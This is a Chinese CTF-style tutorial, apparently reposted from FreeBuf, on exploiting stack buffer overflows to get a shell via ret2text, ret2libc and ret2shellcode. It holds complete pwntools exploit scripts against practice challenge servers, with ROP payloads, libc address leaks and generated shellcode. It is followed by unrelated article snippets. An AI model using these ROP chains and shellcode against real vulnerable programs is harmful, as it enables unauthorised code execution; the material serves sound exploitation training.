栈溢出至getshell分析及利用

news2024/11/17 5:29:11

公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习

Ret2text(源程序中存在system及/bin/sh)

控制程序执行程序本身已有的的代码(.text)。栈溢出,存在system()函数以及”/bin/sh”字符串。通过溢出将返回地址修改为system函数的地址,再将/bin/sh作为函数的参数进行调用,如此便可以得到一个shell。其中32位程序和64位程序由于函数形参的存储调用存在差别,故利用方式也会不同。

32位程序

在32位的程序中,形参存储在栈上并且是按从右到左的顺序进行存放,形参结束后存储的是函数的返回地址,接着是函数的地址。

函数调用过程中栈帧的变化以下为栈溢出调用system函数过程中栈的变化。

其中call函数与直接用eip指向函数地址的区别

call函数的调用中存在两步,

  • 首先将后面的代码,即是下一条指令的地址入栈(保护现场)

  • 将调用函数的地址给到EIP执行

从call函数的执行可以看出会自动的将下一指令的地址入栈以保持栈的平衡,call的函数执行完成后会能恢复,所以当直接将函数地址赋给EIP时就需要手动的入栈一个返回地址以维持栈的平衡。

64位程序:

由于在64位程序中六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。如下

通过以上流程即是可以通过寻找我们需要的指令地址及字符串地址进行利用链的构造最后成功getshell。这既是要求在上述情况中存在调用system函数的情况并且能够在其中找到字符串/bin/sh才能进行利用。

以下使用一个在程序作为例题进行分析

例题:

获取附件

使用checksec检查是否开启了保护

发现是一个32位的程序,只开启了NX,即是栈不可执行

使用IDA32位进行分析

使用shift+F12得到如上所示的页面

其中存在/bin/sh,但现在需要一个函数调用它才能执行命令

首先双击echo Hello World使用ctrl+x查看引用的函数使用F5进行反汇编发现存在vulnerable_function函数,双击进入

发现存在read函数可以利用

查看buf的长度,双击char buf进入buf变量的栈空间

发现buf的长度为0x88字节

加上ebp的长度4字节,(32位程序地址为32位,所占存储空间为4字节)

即是buf只用88字节,使用read函数输入的空间有100,超过了buf的长度,可造成栈溢出覆盖掉返回地址即可执行代码

因为前面存在了调用system函数,跳转到该函数,后面跟上该函数参数的地址即可

查看system的地址,回到主函数的汇编代码,此处使用call调用了一个system

地址为:0x0804849e查看字符/bin/sh的位置,如下得到地址为:0x0804a024

构造exp

执行exp得到shell,执行命令

Ret2libc2(源程序中存在system的地址不存在/bin/sh)

ret2libc 即控制函数的执行 libc 中的函数

Bass段

BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。

Gets()函数

char gets(char *str):只有一个参数。参数类型为char*型。即是str可以是一个字符指针变量名,也可以是一个字符数组名。gets()函数的功能是从输入缓决区中读取一个字符串存到字符指针变量所指向的空间。

Readelf

用于显示ELF文件(如.so、.a、.o文件等)的相关信息。

使用readelf -S 文件名   //获取各段的信息通常使用readelf -S 文件名 |grep bss

Ret2libc2

当一个程序存在栈溢出漏洞,查看代码发现能够找到system函数的地址但不存在/bin/sh。于是就需要将/bin/sh写入作为system函数的参数进行使用。

通常选择将/bin/sh字符串写入到.bss段。即是可以使用gets函数,将可以写入的bass段地址作为gets 的参数。即是首先需要找到bss段的地址。(使用readelf -S)进行查找。

在32位程序中通过栈溢出写入/bin/sh时栈空间的构造如下

Ret2libc3(源程序中不存在system的地址不存在/bin/sh)

此时的system函数属于的是libc动态链接库,而在libc.so中的函数之间的相对偏移为固定的,即是有序存放在libc中,当加载时如果能获取到libc的加载基地址,以及找到函数的偏移的话即可确定我们需要的函数地址。

  • libc的不同函数的位置也是不同的,故我们需要确认他所使用的的libc,可通过泄漏libc中某个函数的位置来和已知的libc中该函数的位置做对比,从而确定libc,确认libc后即可确认ssytem的地址

  • 获取libc中某个函数的地址时通常采用got表泄露,即是输出某个函数对应的got表项内容(got表相当于一张真实函数地址的索引表)。因为在libc中存在延迟绑定机制,即是只有被执行过的函数的真实地址才回绑定到got表中。

  • 通过确认libc后寻找到system的偏移即可确定system函数的地址。

  • 同时在libc中也可以找到/bin/sh字串进行组合执行

ROP链如下

  • 泄漏某个已执行过的函数地址,(打印函数对应的got表项)

  • 通过泄漏的函数地址确认libc版本

  • 通过libc版本获取里面对应system和/bin/sh的地址

  • 再次执行程序

  • 触发溢出的system(‘/bin/sh’)

例题:

将下载的程序使用ida进行分析,main函数如下,为一个选择加解密的程序。

进入加密函数中

存在一个get输入并未限制其输入长度,存在栈溢出漏洞。查看s的长度为0x50,加上一个存放RBP的地址长度8 ,即是返回地址在第88字节以后。

其中输入的字符串会被加密即是进行一串异或,但可以在字符串开头使用/0绕过加密过程。

查看所有的字符串及函数,未发现system函数及/bin/sh等字符串

于是采用动态链接库libc中的函数进行shell获取

  • 首先我们需要泄漏其中一个函数的地址来判断使用的libc版本

  • 通过确认libc版本后计算出加载libc的基地址,计算出system和/bin/sh的地址

  • 获取到system和/bin/sh地址后构造攻击链

Payload1:

payload=b'\0'+b'a'*(0x50-1) +p64(0) + pop_rdi_ret + p64(puts_got) + p64(puts_plt) + main_addr

其中pop_rdi_ret为指令 pop rdi ret的地址(获取方法为:ROPgadget --binary ciscn_2019_c_1  --only 'pop|ret' | grep 'rdi') 

Payload2:

payload1=b'\0' + b'a'*(0x58-1) + p64(ret) + pop_rdi_ret + p64(bin_sh_addr) + p64(system_addr)

其中p64(ret)为一条指令ret的地址(由于在ubuntu18以上版本调用system时需要使得esp的地址是16字节对齐,即是esp指向的地址末尾需要是0)

ROPgadget --binary ciscn_2019_c_1  --only 'pop|ret' | grep 'ret'

 

完整的exp如下:

1.from pwn import *
2.from LibcSearcher import LibcSearcher
3.#context.log_level = "debug"
4.
5.
6.sh =remote("node4.buuoj.cn",25130)
7.elf=ELF("./ciscn_2019_c_1")
8.ret=0x4006B9 
10.
11.print("start1-----------------------------------")
12.puts_plt=elf.plt["puts"]    #获取puts函数的plt表项地址13.puts_got=elf.got["puts"]    #获取puts函数的got表项地址14.pop_rdi_ret=p64(0x400c83)   #pop rdi ret  指令的地址
15.main_addr = p64(0x400B28)   #main函数的地址
16.
17.
18.payload=b'\0'+b'a'*(0x50-1) +p64(0) + pop_rdi_ret + p64(puts_got) + p64(puts_plt) + main_addr   #使用plt调用 puts函数,
19.#使用puts函数的got作为参数进行打印获取puts的真实地址,后返回main函数
20.sh.recv()
21.sh.sendline(b"1")  #进入encrypt函数进行溢出
22.sh.recv()
23.sh.sendline(payload)
24.sh.recvuntil("Ciphertext\n")
25.sh.recvuntil("\n")
26.puts_addr=u64(sh.recv(6).ljust(8,b'\x00')) #接收真实puts地址  64位
27.##puts_addr = u32(io.recv(4))              #32位接收真实地址28.print("realaddr:",hex(puts_addr))
29.
30.
31.print("start2------------------------")
32.obj = LibcSearcher("puts",puts_addr)      #确认libc的版本
33.libcbase = puts_addr - obj.dump('puts')   #dump计算偏移,从而求出libc的基址34.system_addr = libcbase + obj.dump('system')   #计算出system的偏移地址加上基址得到system的真实地址
35.bin_sh_addr = libcbase + obj.dump('str_bin_sh')      #计算/bin/sh的真实地址
36.
37.
38.print("打印puts,system,/bin/sh的真实地址")
39.print("puts的真实地址:",hex(puts_addr))
40.print("system的真实地址:",hex(system_addr))
41.print("/bin/sh的真实地址:",hex(bin_sh_addr))
42.print("基地址:",hex(libcbase))
43.print("END!!!!!!!!!")
44.
45.
46.print("start3------------------------")
47.payload1=b'\0' + b'a'*(0x58-1) + p64(ret) + pop_rdi_ret + p64(bin_sh_addr) + p64(system_addr) #在返回地址上写入ret的地址维持RSP对齐
48.
49.
50.sh.sendline(b'1')      #发送1进入encrypt函数
51.sh.recvuntil("encrypted\n")
52.sh.sendline(payload1)

53.sh.interactive()

成功获取shell

Ret2shellcode(执行自己填充的代码)

在该种类型中由于我们需要执行自己的代码,即是要求写入shellcode的地方具备可写可执行权限。

利用条件:

  • 存在栈溢出

  • 输入的数据存放的区域可执行(直接输入到栈上或被复制到其他的位置)

Shellcode生成

pwntool中内置了生成shellcode的函数。在32位环境下使用asm(shellcraft.sh()),在64位环境下使用asm(shellcraft.amd64.sh()),即可生成shellcode

目标位64位机器时,需要先设置目标机的参数

1.context(os=’linux’, arch=’amd64’, log_level=’debug’)//主要设置arch=amd642.//os设置系统为linux系统,大多数pwn题目的系统都是linux3.//arch设置为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’

例题:

首先检查安全保护

发现存在可读写执行的段,既可以写入shellcode的方式获取shell

使用64位的IDA进行分析获取源码如下

输入两段数据,name读取100个字符存入,不存在溢出

在输入text时未做输入限制,可能存在溢出漏洞

首先查看name的存储位置

Bss段的0x601080

查看text的大小,text大小30,离ebp的距离为32

此时如果name段拥有执行权限时,即可通过text溢出跳转到name的shellcode执行

使用工具生成shellcode

shellcode=(asm(shellcraft.amd64.sh()))

完整EXP

1.from pwn import *2.context.log_level = "debug"3.context.os='linux'4.context.arch='amd64'5.#elf=ELF('./ciscn_2019_n_5')6.sh = remote("node4.buuoj.cn",28370)7.shellcode=(asm(shellcraft.amd64.sh()))    #生成shellcode  64位需要设置开头第三第四行8.payload=b'a'*(0x20+8)+p64(0x601080)     #计算溢出的大小,将返回地址覆盖为写入的shellcode地址9.#print(shellcode)10.sh.recv()11.sh.sendline(shellcode)12.sh.recv()13.sh.sendline(payload)14.sh.interactive()   

成功获取到shell。

原文地址: https://www.freebuf.com/vuls/356152.html

图片

没看够~?欢迎关注!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065637.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode算法心得——有序三元组中的最大值 II (简单的动规思想)

大家好,我是晴天学长,枚举+简单的动态规划思想,需要的小伙伴可以关注支持一下哦!后续会继续更新的。 1) .有序三元组中的最大值 II 有序三元组中的最大值 II 给你一个下标从 0 开始的整数数组 nums 。 请你从所有满足 …

STM32F4X UCOSIII 互斥量

STM32F4X UCOSIII 互斥量 互斥量的概念互斥量的工作机制洗手间问题互斥量优先级继承没有优先级继承优先级继承 UCOSIII互斥量API互斥量创建函数互斥量删除函数互斥量申请函数互斥量释放函数 UCOSIII 互斥量例程 互斥量的概念 UCOSIII中的互斥量是一种特殊的信号量,…

重磅!这本SSCI期刊已解除On Hold状态!警惕目前6本SCIE/ESCI期刊被标记!

期刊动态:新增一本SSCI解除“On Hold” 最新消息,SSCI期刊Transformations in Business & Economics在之前被标记为On Hold,目前该标识已取消!表示目前该期刊被SSCI数据库正常收录检索。 往期期刊On Hold情况: …

云服务器CVM_云主机_云计算服务器_弹性云服务器-腾讯云

腾讯云服务器CVM提供安全可靠的弹性计算服务,腾讯云明星级云服务器,弹性计算实时扩展或缩减计算资源,支持包年包月、按量计费和竞价实例计费模式,CVM提供多种CPU、内存、硬盘和带宽可以灵活调整的实例规格,提供9个9的数…

递归解析Json,实现生成可视化Tree+快速获取JsonPath | 京东云技术团队

内部平台的一个小功能点的实现过程,分享给大家: 递归解析Json,可以实现生成可视化Tree快速获取JsonPath。 步骤: 1.利用JsonPath读取根,获取JsonObject 2.递归层次遍历JsonObjec,保存结点信息 3.利用z…

钡铼BL124EC实现EtherCAT转Ethernet/IP的优势

钡铼技术的BL124EC是一款用于将EtherCAT从站转换为Ethernet/IP从站的网关设备。它是钡铼技术开发的高性能、可靠的工业自动化通信解决方案之一。 添加图片注释,不超过 140 字(可选) BL124EC网关可以应用于多种工业自动化场景,以下…

1.6 IntelliJ IDEA开发工具

前言: ### 1.6 IntelliJ IDEA开发工具笔记 - **背景**: - 使用基础文本编辑器如记事本编写Java代码虽然可行,但存在效率低下且难以调试的问题。 - 集成开发环境 (IDE) 可以有效地提高Java程序的开发效率。 - **常见Java IDE**&#xf…

解决docker开启MySQL的binlog无法成功。docker内部报错:mysql: [ERROR] unknown variable

1. 报错信息 2. 操作流程 整个流程是这样的: 我愉快的输入docker ps,查看MySQL的docker 容器id 执行指令docker exec -it 8a \bin\bash进入容器内部执行vim /etc/my.cnf,打开配置文件按照网上说的,添加如下配置信息退出docker容…

韦东山老师 RTOS 入门课程(二)理解任务的创建,切换过程

RTOS 的核心实现:保存,恢复现场 接下来开始尝试实现 RTOS。当然我们开发的时候其实不用这样做,现在尝试实现只是为了更好地理解原理。 RTOS 的核心就是刚才在研究的问题:保存和恢复现场。再追其本质,其实就是所有寄存…

【Linux】 文件类型和访问权限

执行 ls -l (或者:ll ) 指令查看文件的具体属性。 示例: drwxr-xr-x. 2 root root 33 10月 7 11:27 test2 看图说话: 下面是示例分解图 第一列的字符表示文件或目录的类型和权限。 第一个字符表示文件类型 例如&…

局域网内网管理软件有哪些功能?(局域网内网管理软件有哪些)

局域网(LAN)是指在一个小范围内(如一个办公室、一个楼层或者一个大楼)的计算机网络。随着互联网和科技的快速发展,局域网在企业、学校和个人生活中的应用越来越广泛。局域网内网管理软件是一种专门用于监控和控制局域网…

「天锐绿盾」——数据防泄露(智能透明加密保护)企业加密软件

天锐绿盾是一款专业的企业级加密软件,提供专业版、行业增强版和旗舰版,分别针对不同的用户需求。 PC访问地址: https://isite.baidu.com/site/wjz012xr/2eae091d-1b97-4276-90bc-6757c5dfedee 天锐绿盾数据防泄密模块,采取系统底…

【手绘 | 日漫风】从临摹开始控笔,线条,再到人体

博主:_LJaXi 专栏: Unity | 横版游戏开发 手绘入门 控笔 排线起稿方式九宫格起稿五官起稿专业起稿 握笔姿势三角握持姿势拇指指握姿势 勾线建议注意对于人体 控笔 排线 在绘画过程中,可以使用铅笔控制笔触的方向、压力和角度,以获…

tf卡损坏怎么修复恢复?

TF卡是一种极其微小的数据储存卡,常见于手机、行车记录仪、微型相机中。因为TF卡不具备读写保护功能,所以一旦发生损坏就会非常麻烦。今天小编就给大家介绍一下,TF卡突然损坏什么原因,TF卡损坏怎么办一招帮你修复。 一、TF卡突然损…

upload-labs靶场通关

文章目录 Pass-01 前端检测(JS检测)1.1 原理分析1.2 具体问题具体分析1.3 实验 Pass-02 后端检测(MIME检测)2.1 原理分析2.2 具体问题具体分析2.3 实验 Pass-03 后端检测(黑名单绕过,特殊后缀名&#xff09…

DataX和dataX-web 集群部署及使用

📑 DataX和dataX-web 集群部署及使用 一 . 安装前准备 DataX 是一个异构数据源离线同步工具,致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。 DataX 采用 框架 插件 的模式…

【Proteus仿真】【STM32单片机】智能饮水机

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真STM32单片机控制器,使用OLED液晶、按键、语音播放模块、DS18B20温度传感器、加热器和水泵等。 主要功能: 系统运行后,OLED显示温度、温度阈值&a…

【Linux】 ls命令使用

ls(英文全拼: list directory contents)命令用于显示指定工作目录下之内容(列出目前工作目录所含的文件及子目录)。 ls命令 -Linux手册页 著者 由Richard M.Stallman和David MacKenzie撰写。 语法 ls [-alrtAFR] [name...] ls命…

众佰诚:抖音开网店新手怎么做才能做起来

抖音作为国内最热门的短视频平台,其商业价值也日渐凸显。许多商家和个体经营者开始在抖音上开设网店,以此为新的销售渠道。那么,对于新手来说,如何才能在抖音上成功运营网店呢? 首先,明确经营定位。每个电商平台都有其…

云服务器可以做什么?分享阿里云服务器的十种玩法

阿里云服务器可以干什么?服务器的用途有很多,常见的有网站、小程序、视频服务器、手机APP等,例如微信基于腾讯云服务器,淘宝基于阿里云服务器,阿里云百科aliyunbaike.com来说下阿里云服务器十大用途: 目录…